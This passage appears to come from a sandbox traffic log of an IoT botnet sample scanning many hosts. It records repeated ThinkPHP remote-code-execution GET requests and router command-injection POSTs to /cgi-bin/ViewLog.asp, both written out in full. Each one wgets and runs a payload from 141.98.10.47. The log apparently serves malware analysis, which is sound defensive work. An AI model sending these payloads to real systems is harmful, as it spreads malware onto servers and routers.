3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at alex-rumpelkammer.de Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
494	192.168.2.23	49054	95.216.108.87	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:27.226290941 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:27.496448040 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 26 Dec 2023 20:25:27 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
495	192.168.2.23	40468	95.143.177.201	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:27.232693911 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:27.505422115 CET	495	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:25:27 GMT Server: Apache/2.4.54 (Debian) Content-Length: 301 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 34 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 31 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.54 (Debian) Server at 127.0.1.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
496	192.168.2.23	57526	95.163.238.55	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:27.236963034 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:27.518179893 CET	750	IN	HTTP/1.1 400 Bad Request Server: ngjit Date: Tue, 26 Dec 2023 20:25:27 GMT Connection: close Content-Type: text/html; charset=utf8 Content-Length: 579 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 20 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 20 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 70 3e 3c 62 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 20 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 53 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 20 74 68 65 20 72 65 71 75 65 73 74 20 64 75 65 20 74 6f 20 69 6e 76 61 6c 69 64 20 73 79 6e 74 61 78 2e 20 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e Data Ascii: <!DOCTYPE html><html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 400</title><style>*{margin:0;padding:0}html{font:15px/22px arial,sans-serif;background: #fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}p{margin:11px 0 22px;overflow :hidden}ins{color:#777;text-decoration :none;}</style><p><b>400 - Bad Request .</b> <ins>Thats an error.</ins><p>Server could not understand the request due to invalid syntax. <ins>Thats all we know.</ins>

Session ID	Source IP	Source Port	Destination IP	Destination Port
497	192.168.2.23	36276	62.34.73.147	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:27.381026030 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:28.075478077 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:29.483208895 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
498	192.168.2.23	38318	31.20.43.176	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:27.395275116 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
499	192.168.2.23	38296	94.121.110.255	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:27.452405930 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
500	192.168.2.23	35176	95.179.182.235	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:27.460776091 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:27.702568054 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:25:27 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
501	192.168.2.23	60660	94.120.217.241	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:27.461225986 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
502	192.168.2.23	47784	95.213.153.202	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:27.490700960 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:28.348275900 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:28.621678114 CET	352	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:25:28 GMT Content-Type: text/html Content-Length: 150 Connection: close Strict-Transport-Security: max-age=63072000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
503	192.168.2.23	40398	95.163.217.138	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:27.501327991 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:27.775923967 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:25:27 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
504	192.168.2.23	42080	62.29.6.178	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:28.160794973 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
505	192.168.2.23	59304	62.29.91.21	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:28.162939072 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
506	192.168.2.23	44706	95.168.168.181	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:30.018156052 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:30.265068054 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Dec 2023 20:25:30 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
507	192.168.2.23	49498	95.216.145.88	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:30.048211098 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:30.320544958 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:25:30 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
508	192.168.2.23	56542	95.181.200.250	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:30.054109097 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:30.331276894 CET	199	IN	HTTP/1.0 400 Bad request Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
509	192.168.2.23	32910	95.100.252.167	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:30.061600924 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:30.346662998 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:25:30 GMT Date: Tue, 26 Dec 2023 20:25:30 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 37 66 63 36 34 35 66 26 23 34 36 3b 31 37 30 33 36 32 32 33 33 30 26 23 34 36 3b 34 30 39 38 37 31 61 36 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.a7fc645f.1703622330.409871a6</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
510	192.168.2.23	56548	95.181.200.250	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:30.615633011 CET	199	IN	HTTP/1.0 400 Bad request Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
511	192.168.2.23	42470	95.164.192.215	80

Timestamp	Bytes transferred	Direction	Data
